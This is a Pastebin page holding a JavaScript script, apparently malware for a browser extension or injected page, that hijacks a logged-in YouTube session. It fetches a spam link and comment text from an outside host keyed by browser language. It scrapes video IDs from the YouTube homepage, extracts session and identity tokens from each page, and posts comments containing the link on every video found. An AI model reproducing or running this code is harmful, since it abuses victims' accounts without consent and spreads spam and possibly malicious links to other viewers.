Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var Youtube = {
- linkCek(urlData,send_id,link,comment){
- Youtube.send_comment("https://www.youtube.com/watch?v="+ send_id, comment+" "+link+ Youtube.rand(5))
- },
- rand(x){
- allcharacter = "ABCDEFGHIJKLMNOPRSTUVYZXabcdefghijklmnoprstuvyzx0123456789__________________";
- dot = "";
- for (var i = 0; i < x; i++) dot += allcharacter[Math.floor(Math.random() * allcharacter.length)];
- return dot;
- },
- start(){
- var lang = navigator.language;
- var langSplit = lang.split("-");
- var la = langSplit[0];
- var xhrLINK = new XMLHttpRequest();
- xhrLINK.open("GET", "https://gledajovo.org/comment.php?l="+la);
- xhrLINK.send();
- xhrLINK.onreadystatechange = function () {
- if (xhrLINK.readyState == 4 && xhrLINK.status == 200) {
- dataLINK = JSON.parse(xhrLINK.responseText);
- link = dataLINK.link;
- comment = dataLINK.comment;
- if(link && comment){
- var xhr = new XMLHttpRequest();
- xhr.open("GET", "https://www.youtube.com");
- xhr.send();
- xhr.onreadystatechange = function () {
- if (xhr.readyState == 4 && xhr.status == 200) {
- data = xhr.responseText;
- youtubeids = data.split('/watch?v=');
- var lengthData = 0;
- for(var i=1 ; i < youtubeids.length; i++){
- var urlData = Youtube.rand(9);
- send_id = youtubeids[i].split('"')[0].split('\\')[0];
- Youtube.linkCek(urlData,send_id,link,comment);
- }
- }
- }
- }
- }
- }
- },
- send_comment(youtube_link,comment_data_text){
- var xhr = new XMLHttpRequest();
- xhr.open('GET', youtube_link, true);
- xhr.send();
- xhr.onreadystatechange = function () {
- if (xhr.readyState == 4 && xhr.status == 200) {
- var data = xhr.responseText;
- ctoken = new RegExp(/"continuation":"(.*?)"/).exec(data)[1];
- itct = new RegExp(/"clickTrackingParams":"(.*?)"/).exec(data)[1];
- session_token = new RegExp(/"XSRF_TOKEN":"(.*?)"/).exec(data)[1];
- csn = new RegExp(/"csn":"(.*?)"/).exec(data)[1];
- id_token = new RegExp(/"ID_TOKEN":"(.*?)"/).exec(data)[1];
- client_version = new RegExp(/"key":"cver","value":"(.*?)"/).exec(data)[1];
- page_cl = new RegExp(/"key":"innertube.build.changelist","value":"(.*?)"/).exec(data)[1];
- page_label = new RegExp(/"key":"innertube.build.label","value":"(.*?)"/).exec(data)[1];
- checksum = new RegExp(/"key":"innertube.build.variants.checksum","value":"(.*?)"/).exec(data)[1];
- Youtube.comment_service(ctoken,itct,session_token,csn,youtube_link,id_token,client_version,page_cl,page_label,checksum,comment_data_text);
- }
- }
- },
- comment_service(ctoken,itct,session_token,csn,youtube_link,id_token,client_version,page_cl,page_label,checksum,comment_data_text){
- var xhr = new XMLHttpRequest();
- xhr.open('POST', 'https://www.youtube.com/comment_service_ajax?action_get_comments=1&pbj=1&ctoken='+ctoken+'&itct='+itct);
- xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- xhr.setRequestHeader('x-spf-previous', youtube_link);
- xhr.setRequestHeader('x-spf-referer', youtube_link);
- xhr.setRequestHeader('x-youtube-client-name', '1');
- xhr.setRequestHeader('x-youtube-client-version', client_version);
- xhr.setRequestHeader('x-youtube-identity-token', id_token);
- xhr.setRequestHeader('x-youtube-page-cl', page_cl);
- xhr.setRequestHeader('x-youtube-page-label', page_label);
- xhr.setRequestHeader('x-youtube-variants-checksum', checksum);
- var data = "session_token="+ session_token;
- xhr.send(data);
- xhr.onreadystatechange = function () {
- if (xhr.readyState == 4 && xhr.status == 200) {
- var data = xhr.responseText;
- clickTrackingParams = new RegExp(/"clickTrackingParams":"(.*?)"/).exec(data)[1];
- createCommentParams = new RegExp(/"createCommentParams":"(.*?)"/).exec(data)[1];
- var xhr2 = new XMLHttpRequest();
- xhr2.open('POST', 'https://www.youtube.com/service_ajax?name=createCommentEndpoint');
- xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- xhr2.setRequestHeader('x-spf-previous', youtube_link);
- xhr2.setRequestHeader('x-spf-referer', youtube_link);
- xhr2.setRequestHeader('x-youtube-client-name', '1');
- xhr2.setRequestHeader('x-youtube-client-version', client_version);
- xhr2.setRequestHeader('x-youtube-identity-token', id_token);
- xhr2.setRequestHeader('x-youtube-page-cl', page_cl);
- xhr2.setRequestHeader('x-youtube-page-label', page_label);
- xhr2.setRequestHeader('x-youtube-variants-checksum', checksum);
- var data2 = 'comment_text='+ comment_data_text;
- data2 += '&session_token='+ session_token;
- data2 += '&sej={"clickTrackingParams":"'+clickTrackingParams+'","createCommentEndpoint":{"createCommentParams":"'+createCommentParams+'"}}';
- data2 += '&csn='+ csn;
- xhr2.send(data2);
- xhr2.onreadystatechange = function () {
- if (xhr2.readyState == 4 && xhr2.status == 200) {
- var data = JSON.parse(xhr2.responseText);
- if(data.code == 'SUCCESS'){
- }
- }
- }
- }
- }
- }
- };
- Youtube.start();
RAW Paste Data